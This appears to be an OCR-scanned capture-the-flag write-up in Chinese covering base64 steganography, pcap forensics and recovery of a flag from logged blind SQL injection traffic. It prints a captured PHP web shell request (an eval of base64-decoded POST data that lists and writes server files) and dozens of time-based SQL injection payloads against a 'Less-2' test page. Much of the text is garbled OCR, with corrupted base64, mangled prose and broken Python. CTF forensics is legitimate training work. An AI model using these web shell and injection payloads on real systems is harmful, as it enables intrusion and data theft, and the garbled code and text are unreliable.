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U3RIZ2Fub2dyYXBoeSBpcyB0aGUgYXJOIGFUZCBzY2llbmNIIGI9m
IHdyaXRpbmcgaGIkZGVulG1lc3NhZ2VzIGlulHN1Y2ggYSB3YXkgdGhhdCBubyBvbmV=
LCBhcGFydCBmcm9tIHRoZSBzZW5kZXIgYWS5kIGIudGVuZGVkIHJIY2lwaWVudCwgc3VzcGU =
Y3RzIHRoZSBleGlzdGVuY2Ugb2YgdGhliG1lc3M=
YWdILCBhIGZvemOgb2Ygc2VjdX)pdHkgdGhyb3VnaCBvYnNjdXJpdHkulFS=
aGUgd29yZCBzdGVnYW5vZ3JhcGh51GIzIGImMIEdyZWVrIG9yaWdpbiBhbmQgbWVhbnMglmNvbmNIYW ==
bGVkIHdyaXRpbmcilGZyb20gdGhllEdyZWVrIHdvemRzIHNOZWdhbm9zIG1IYW5pbmceglmNv
dmVyZWQgb3IgcHJvdGVjdGVkliwgYW5kIGdyYXBoZWIulG1IYW5pbmcgInRvIHc=
cml0ZSIlulFRoZSBmaXJzdCByZWNvemRIZCB1c2Ugb2YgdGhlIHRIcm0gd2FzIGIuIDEOOTkgYnkgSm9o
YW5uZXMgVHJpdGhlbWI1cyBpbiBoaXMgU3RIZ2Fub2dyYXBoaWEsIGEgdHJIYV==
dGlzZSBvbiBjcnlwdG9ncmFwaHkgYW5kIHNOZWdhbm9ncmFwaHkgZGlzZ8==
dWIZZWQgYXMgYSBib29rIGIuIG1hZ2ljLIBHZWS5lcmFsbHksIG1Ic3P=|
YWdlcyB3aWxsIGFwcGVhciBObyBiZSBzb21ldGhpbmcgZWxzZTogaW1hZ2VzLCBhenRp
Y2xlcywgc2hveHBpbmegbGlzdHMsIG9yIHNvbWUgb3R = CSDN @%Fr<less
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# baseb4stego
import base64
base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz@0123456789+/"
f = open("stego.txt")
data = f.readlines()
res=""
binstr = ""
for line in data:
line = line.strip('\n")
# print line[-1]
if line[-2:] == "==":
temp = bin(base64.find(line[-3])&15)[2:]
binstr=binstr+"e@"*(4-len(temp))+temp
elif line.find("=")>0:
temp = bin(base64.find(line[-2]) & 3)[2:]
binstr = binstr + "@" * (2 - len(temp)) + temp ##EEXBEAEFHMEEEE
# print binstr
for i in range(9,len(binstr),8):
res=res+chr(int((binstr[i:i+8]),2))
print res
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1. FETFRMRIRpcapng X, Fwireshark 2> Hi— T

2. ¥R flag kI A flag.txtfizipf:, foremosts BB ENE Nzp3tE, TEMEENL (W LEH NEEBERpcapng XX E %N
zZip)

3. RSP iZEpcapng®, ...

4. #ZRflag, fEH11508H kIMA6666.jpg (FERjpgIFaaF4IAFFDS, ZHRAREANFFDY) , BB, K EMmKINAEZH,
TJFwinhex, ¥, 57 Ajpgks XE A, $TIFEEIflag.
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1149 50.140816842 192.168.43.83 192.168.25.
1150 50.147576455 192.168.43.83 192.168.25.

->|./\t2017-12-08 11:42:11\t0\te777\n
../\t2017-12-08 11:39:10\t4096\t0777\n
1.php\t2017-12-08 11:33:16\t33\t0666\n
6666.jpg\t2017-12-08 11:42:11\t102226\t0666\n
flag.txt\t2017-12-08 11:35:29\t17\t0666\n
hello.zip\t2017-12-08 ©9:32:36\t224\t0666\n

| <- :

AP = L AT e e
LCSDMN @250 {LUUU

aa=@eval.
(base64 decode($ POST[action]));&action=QGluav9zZXQoImRpc3BsYX1fzZXJyb3Jz
IiwiMCIp0®BzZXRfdGltZVIsaWlpdCgwKTtAc2VOX21hZ21jX3F1b3R1c19ydW50aWl1KDAp
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ULV JdUd01L1YALBTULPULSKL JLIYANLN JRTLUV JULZRLAURTUEI IVESLE JELADK/JUMIJIFEIY I L
NUWy J6MiJdOyRjPXNOc19yZXBsYWN1KCIcciIsIiIsIGMpOYyRjPXNOc19yZXBsYWN1KCIcbi
IsIiIsJGMpOYRidWY9IiI7ZmOyKCRpPTA7JGk8C3RybGVUKCRjKTskaSsOMikkyYnVmLjllcm
XKZWNVZGUoIiUiLnN1YnN@cigkYywkaSwyKSk7ZWNobyhAZndyaXR1KGZvcGVUKCRmMLCI3Ii
ksJGJ1Zik%2FIjEi0iIwIik702VjaG80Inw8LSIpO2RpZSEpOw%3D%3D&z1=RDpcd2FtcDYO
XHd3d1x1cGxvYWRCNjY2N15qcGc%3D&z24FFD8FFEQ00104A464946000101010078007800
VOFFDB004300010101010101010101010101010101010101010101010101610101016101
01010101010101010101010101010101010101010101010101010101010101010101FFDB
0043010101010101010101010101010101010101010101010101010101010101010160101
0101@1@10161010181610101919191010101@1010161010101616101919191FFCB@@llQBF
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AD40D /A4 LDOCYYrrL/OCYDODLLIO/ D1/ UOUO/OLLOA/DOD/OUrNr £LU40IrrADDLOD/OLULC4TCOU40
©356EFEEDCFFOOD/D27F37ACAD47ASFFOOFBFO7F235E3577A7AB7F85FF0Q1F7775B37756
B452F6BODAB82/BCO9C/5F5F651DB6D39FEES6FB526FOEE1ICB30DOF28018COQE3F/51F57/B
8931FF002D1B191E99E32319C999F681B7A90C6156C60609DD73276E31F2E7B8183F2F37
EEZ/EFDCFFD7383F9C/58F/7/7D65FFOOAF7/8FFOOF408EBC6CADDAADEAFSF4EDBDO7BBA2ESA
/F2A3E830EBASE89F/DD41EBDSFC7AF7F7BACOB59E658327293B9CF2E1BEF/FBS5FFO2EBF
8D15763FF571FF00B8BFFAOBA2B86DFE1IFFCO5797F93FBFEFEQE6S5DASFF81BFFOO2F5FES

6BFFDOHTTP/1.1 200 OK
Date: Fri, 08 Dec 2017 11:42:07 GMT CSDN @Z 41666
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OFFSET H 00 01 02 03 04 05 0Oe 07 08 09 OA OB OC OD OE OF ASCII

00000000 FF D8 FF EO 00 10 4A 46 49 46 00 01 01 01 00 78 ...... JFIF..... x
00000010 00 78 00 00 FF DB 00 43 00 01 01 01 01 01 01 Ol .X..... Covonnnnn
00000020 01 01 01 01 01 01 O1 01 01 O1 01 01 O1 O1 Ol Ol  sueuueancannnnns
00000030 01 01 01 01 01 01 O1 01 01 O1 01 01 O1 O1 Ol Ol  sueuuenncannnnns
Q0000040 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Ol  ..cveeenonnnnnns
00000050 01 01 01 01 01 01 01 01 O1 FF DB 00 43 01 01 01 ...Csbh.@5GHEce6
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OFFSET H 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF ASCII

00000000 [FF D8|FF E0 00 10 4A 46 49 46 00 Ol Ol Ol 00 60 [......JFIF
00000010 00 €0 00 00 FF EL 11 3C 45 78 63 66 00 00 4D 4D
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£ 00000131.zip .
Py A M R
F:\CTF\misc\& 2 \foremost\zip\#T &7 14 \password. bxt
TEESHES 44 00000131.zip B
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5. BB RN, Epgl ), AEFEER, 5HOHEMAEE, fbugkuR Hk T AW
T lag=n
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6. fif ik E
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1. THEM, pcapxtt, MEBRREE
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Vo, Time Source Destination Protocol Le Info
32 4.413841 223.104.196.80 172.17.8.91 HTTP 4.. GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata)=2,sleep(1),@
34 4.415218 172.17.8.91 223.104.196... HTTP 7.. HTTP/1.1 2@ OK (text/html)
41 4.583821 223.104.196.80 172.17.8.91 HTTP 4.. GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata)=3,sleep(1),@
43 4.585226 172.17.8.91 223.104.196... HTTP 7.. HTTP/1.1 2@ OK (text/html)
51 4.772342 223.104.196.80 172.17.8.91 HTTP 4.. GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata)=4,sleep(1),@
54 4.773705 172.17.8.91 223.104.196... HTTP 7.. HTTP/1.1 2@ OK (text/html)
61 4.933195 223.104.196.80 172.17.8.91 HTTP 4.. GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata=5 fidep( @

2. S httpxt %
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==t b = 1 ¥ | w — s
Open Recent 4
EFM)... =
M Hex i”éﬁ%E’)\{l) Destination Protocol Le Inf
~ 172.17.8.91 HTTP 4.. GET
Close Ctrl+W 223.104.190... HTTP 7.. HTTF
172.17.8.91  HTTP 4.. GET
=F(S) Ctrl+S 223.104.190... HTTP 7.. HTT
SEAA)... Ctrl+Shift+S 172.17.8.91  HTTP 4.. GET
223.104.190... HTTP 7.. HTTE
WL » 172.17.8.91  HTTP 4.. GET
223.104.190... HTTP 7.. HTTE
EptE==an 172.17.8.91  HTTP 4.. GET
223.104.190... HTTP 7.. HTTE
= N 4 3
SHOERTER 172.17.8.91  HTTP 4.. GET
SHSBEFTRB)... Ctrl+Shift+X 223.104.190... HTTP 7.. HTTI
St POU B v ot
%ﬁﬁ TLS %ﬁ%%ﬁ"‘ 179 17 © a1 IJ'I'TP 4“. GET
EHYgs » DICOM... TP 7.. HTTE
HTTP... o DR
FTEQ(P)... Ctrl+P
IMF... 328 bits)
Quit Ctrl+Q SMB... Xensourc_06:ca:93
- : . Llo4, . 8.91
.. TFTP...
Transmission Control Protocol, Src Port: 6¢ Seg: 1, Ack: 1,
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M Wireshark - S4 - HTTP 345115 - O
AL ERR ‘ ‘Content Type: All Content-Types *
i

?id=1+and+if((select+count(*)+from+information_schema.schemata)=4,sleep(1),0)--+
?id=1+and+if((select+count(*)+from+information_schema.schemata)=>5,sleep(1),0)--+
?id=1+and +if((select+count(*)+from+information_schema.schemata)=6,sleep(1),0)--+
?id=1+and +if((select+length(concat(schema_name))+from+information_schema.schemata+limit+0,1)=1,sleep(0.4),0)--+
=2,sleep(0.4),0)--+
=3,sleep(0.4),0)--+
=4,sleep(0.4),0)--+

(
(
«
(
?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schemata+limit+0,1
(
(
?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schemata+limit+0,1)=5,sleep(0.4),0)--+
(
(
(
(
(
(
(

?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schemata+limit+0,1

— e e

?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schemata+limit+0,1

?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schemata+limit+0,1)=6,sleep(0.4),0)--+
?id=1+and+if((select+length(concat(schema name))+from+information schema.schemata+limit+0,1)=7,sleep(0.4),0)--+
?id=1+and+if((select+length(concat(schema name))+from+information schema.schemata+limit+0,1)=8,sleep(0.4),0)--+
?id=1+and+if((select+length(concat(schema _name))+from+information schema.schemata+limit+0,1)=9,sleep(0.4),0)--+
?id=1+and+if((select+length(concat(schema _name))+from+information schema.schemata+limit+0,1)=10,sleep(0.4),0)--+
?id=1+and+if((select+length(concat(schema _name))+from+information schema.schemata+limit+0,1)=11,sleep(0.4),0)--+
?id=1+and+if((select+length(concat(schema _name))+from+information_schema.schemata+limit+0,1)=12 sleep(04:0)-r4c6

3. Wil —ENEEEARIE, BEEGER, AFSHRIEARIIN, Rk R

select%20schema _name%20from%20information_schema.schemata%20limit%202,1),13,1))%20%3E%2096,sleep(0.4),0)-- +
select%20schema_name%20from%20information_schema.schemata%20limit%202,1),13,1))%20%3C%20102,sleep(0.4),0)-- +



select%ZUschema namev%Z0tromv%Zuinformation schema.schemata’Zulimit%204,1),13,1))%2U0%30C%2099,sleep(V.4),U)--+
'select%20schema _name%20from%20information_schema.schemata%20limit%202,1),13,1))%20%3E%2099,sleep(0.4),0)-- +
select%20schema_name%20from%20information_schema.schemata%20limit%202,1),1 3,1))|%20=%2099,s|eep(0.4),0)—- + |
select%20schema _name%20from%20information _schema.schemata%20limit%202,1),14,1))%20%3C%20126,sleep(0.4),0)--+
select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2079,sleep(0.4),0)-- +
select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2056,sleep(0.4),0)-- +
select%20schema _name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2044 sleep(0.4),0)--+
select%20schema _name%20from%20information_schema.schemata%20limit%202,1 ),14,1))%20%3E%2044,s|eep[0.ép,0
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AITIERE: ‘“620:%20 | ‘Content Type: All Content-Types ™
]

g

'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes
'0 bytes

XHE
?id=1+and+if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%200,1),18,1))%20=%2097,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema_name%20from%20information_schema.schemata%20limit%201,1),1,1))%20=%2099,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),2,1))%20=%20104,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),3,1))%20=%2097 sleep(0.4),0)--+
?id=1+and+if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),4,1))%20=%20108,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),5,1))%20=%20108,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),6,1))%20=%20101,sleep(0.4),0)--+
?id=1+and+if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),7,1))%20=%20110,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),8,1))%20=%20103,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),9,1))%20=%20101,sleep(0.4),0)--+
?id=1+and+if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%201,1),10,1))%20=%20115,sleep(0.4),0)-- +
?id=1+and+if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%202,1),1,1))%20=%20102,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%202,1),2,1))%20=%20108,sleep(0.4),0)--+
?id=1+and+if(ascii(substr((select%20schema name%20from%20information_schema.schemata%20limit%202,1),3,1))%20=%2097 sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%202,1),4,1))%20=%20103,sleep(0.4),0)--+
7id=1+and+if(ascii(substr((select%20schema _name%20from%20information schema.schemata%20limit%202,1),5,1))%20=%2095,sleep(0.4),0)--+
?id=1+and+if(ascii(substr((select%20schema name%20from%20information_schema.schemata%20limit%202,1),6,1))%20=%2056,sleep(0.4),0)--+
?id=1+and +if(ascii(substr((select%20schema name%20from%20information schema.schemata%20limit%202,1),7,1))%20=%2097 sleep(0.4),0)--+
7id=1+and+if(ascii(substr((select%20schema _name%20from%20information schema.schemata%20limit%202,1),8,1))%20=%20102,sleep(0.4),0)--+
?id=1+and+if(ascii(substr((select%20schema name%20from%20information_schema.schemata%20limit%202,1),9,1))%20=%2056,sleep(0.4),0)--+
(

~

?id=1+and+if(ascii(substr((select%20schema_name%20from%20information_schema.schemata%201imit%202,1),10,1))%20=%20101,sleep{0:4)0)= 11+
I e e . R . . . . bl S

4. asiiclB#57%, BFfag, flag{8af8e03c6892476184d1e347187b2449}

str=[102,108,97,103,95,56,97,102,56,101,48,51,99,54,56,57,50,52,55,54,102,56,52,100,49,101,51,52,55,49,56,55,98

50,52,52,57
list=""

for i in range(9,37

a=chr(str[i

list=list+a

print(list
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